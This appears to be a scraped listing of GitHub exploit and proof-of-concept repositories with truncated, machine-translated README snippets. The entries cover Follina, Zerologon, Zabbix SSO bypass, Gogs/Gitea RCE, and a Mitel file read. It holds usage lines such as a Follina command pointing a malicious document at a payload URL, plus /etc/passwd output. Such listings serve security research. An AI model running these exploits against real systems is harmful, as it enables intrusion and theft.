cve-2022-23131-exp

Zabbix SSO 認証バイパス CVE-2022-23131 root@kitploit: usage: zabbixsessionexp.py -h -t TARGET -u USERNAME -p PROXY -f FILES optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Zabbix Server -u USERNAME, --username USERNAME Zabbix Admin User -p PROXY, --proxy PROXY...

Digisol-DG-GR1321-s-Improper-Access-Control-CVE-2024-4231

Digisol-DG-GR1321-s-부적절한 접근 제어-CVE-2024-4231...

CVE-2017-11882

이 저장소에는 README가 없습니다...

CVE-2025-3969-Exploit

이 저장소에는 README가 없습니다...

oppo-ghostlock

oppo-ghostlock GhostLock CVE-2026-43499 — OPPO Find N2 Linux 커널 권한 상승 연구 프로젝트 개요 GhostLock CVE-2026-43499은 Linux 2.6.39부터 7.1-rc1까지 영향을 주는 커널 스택 UAF 취약점으로, FUTEXCMPREQUEUEPI 경쟁 조건을 통해 트리거됩니다. 이 프로젝트는 NebuSec/CyberMeowfia의 x8664 익스플로잇을 OPPO Find N2 ARM64, kernel 5.10.236에 포팅합니다. 프로젝트 상태 개발 진행 중 — ...

cve-2019-1040-scanner

CVE-2019-1040 스캐너 SMB를 통해 CVE-2019-1040 취약점을 확인합니다. 이 스크립트는 대상 호스트에 연결하여 잘못된 NTLM 인증을 전송합니다. 이것이 수락되면 호스트는 CVE-2019-1040에 취약하며, ntlmrelayx와 함께 MIC 제거 공격을 실행할 수 있습니다. 로그인 정보 자체는 유효하므로 실패한 로그인 시도가 생성되지 않는다는 점에 유의하십시오. 단지 NTLM 메시지 무결성 코드가 없기 때문에 인증이 거부되며, badpwdcount는 증가하지 않습니다. 사용법 이 스크립트는 최신...

instructions-summarizing

Resumen de instrucciones Sitio que contiene información útil para demostrar CVE-2023-37273...

SSE4-CVE-2022-22965

Spring Boot CVE-2022-22965 Spring Boot 버전 2.6.5 기반 CVE-2022-22965 Docker PoC 시작하기 1. 취약한 애플리케이션을 빌드하고 시작하려면 docker compose up --build를 실행하세요. 2. Tomcat 구성 밸브를 변경하려면 curl -H "Accept: text/html;"...

Follina-CVE-2022-30190-POC

Nee의 Follina-CVE-2022-30190 개념 증명 사용법 root@kitploit: python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" 기능 지정한 페이로드 URL을 가리키는 악성 Word 파일을 생성합니다 web 폴더에 있는 기본 페이로드를 호스팅합니다 개념 증명은 기본적으로 계산기calc를 실행합니다 자유롭게 변경하고 푸시하세요 :...

CVE-2021-41645

이 저장소에는 README가 없습니다...

CVE-2021-41773-RCE

CVE-2021-41773-RCE...

dirkjanm-CVE-2020-1472

CVE-2020-1472 POC 최신 impacket을 GitHub에서 가져와야 하며, netlogon 구조체가 추가되어 있어야 합니다. 기본적으로 이 도구는 도메인 컨트롤러 계정의 비밀번호를 변경한다는 점에 유의하세요. 예, 이를 통해 DCSync를 수행할 수 있지만, 다른 도메인 컨트롤러와의 통신도 중단되므로 주의하세요! 자세한 정보와 원본 연구는 여기에서 확인하세요. 설치 Python 3.6 이상 에서만 작동합니다! 운영체제에 impacket이 설치되어 있는 경우예: Kali, 먼저 기존 설치를 모두 제거하세요. 이후에도...

46635.py_CVE-2019-9053

46635.pyCVE-2019-9053 これはpython2からpython3に修正された46635エクスプロイトのコードです。 runファイルには46635の修正コードが含まれています . . runファイルをダウンロードして使用してください。...

VulnReach

VulnReach 런타임 인식 SCA — 설치된 것뿐만 아니라 실제로 도달 가능한 CVE를 입증합니다. VulnReach는 이제 공식OWASP 프로젝트입니다. 🎉 데모 1단계 — SCA가 종속성 전반에서 74개의 CVE를 표시합니다 2단계 — VulnReach가 실제로 도달 가능한 항목을 증명합니다...

gogsownz

GogsOwnz GogsOwnz는 Gogs/Gitea 서버에서 관리자 권한과 RCE를 획득하기 위한 간단한 스크립트입니다. Gogs/Gitea의 취약점CVE-2018-18925 , CVE-2018-20303 포함을 악용합니다. 법적 고지 이 스크립트는 있는 그대로 제공됩니다. 어떠한 보증도 없으며, 본인의 책임 하에 사용하고 법을 준수하시기 바랍니다. 일반적인 사용법 - 전체 사용법을 읽어주세요 실행 중인 Gogs/Gitea 정보 가져오기 root@kitploit: python3 gogsownz.py...

smm_usbrt_poc

UsbRt SMM 권한 상승 이것은 CVE-2017-5721 취약점의 익스플로잇을 시연하는 개념 증명 코드입니다. 이 PoC는 Machine Check Exception이 발생하여 시스템을 완전히 정지시킵니다. 필요한 것은 CHIPSEC Framework가 설치되어 있어야 합니다. 또한 Intel 장치를 사용하는 경우 /etc/default/grub에 GRUBCMDLINELINUXDEFAULT="quiet splash acpi=off"를 추가하는 것을 잊지 마세요. 사용 예시: root@kitploit: sudo python...

wpUsersScan

wpUsersScan wpUsersScan 정보 REST API / CVE-2017-5487, WordPress 4.7.1 - Username Enumeration를 통해 WordPress 웹사이트의 사용자 목록을 열거합니다. 사용법 root@kitploit: $ python wpUsersScan.py URL 설치 방법 클론 다음 명령으로 저장소를 클론하세요: root@kitploit: $ git clone https://github.com/ihebski/wpUsersScan.git $ cd wpUsersScan $ pytho...

CVE-2024-41713-PoC-exploit

CVE-2024-41713-PoC-exploit Mitel MiCollab 인증 우회를 통한 임의 파일 읽기 root@kitploit: ❯ ./cve-2024-41713-exploit.sh Exploiting CVE-2024-41713 to read /etc/passwd ... + Extracted users from /etc/passwd: root bin daemon adm lp mail operator games ftp nobody root@kitploit: ❯ cat debugresponse.txt...

CVE-2022-23935-PoC-Exploit

このリポジトリには README がありません。...

CVE-2024-29824

horizon3aiのスクリプトにいくつかの最適化を施しました（実際には、正確性を確保するための検証メカニズムを追加しただけです） 元のプロジェクトアドレス: https://github.com/horizon3ai/CVE-2024-29824 "-f / --file" と ThreadPool を追加しました...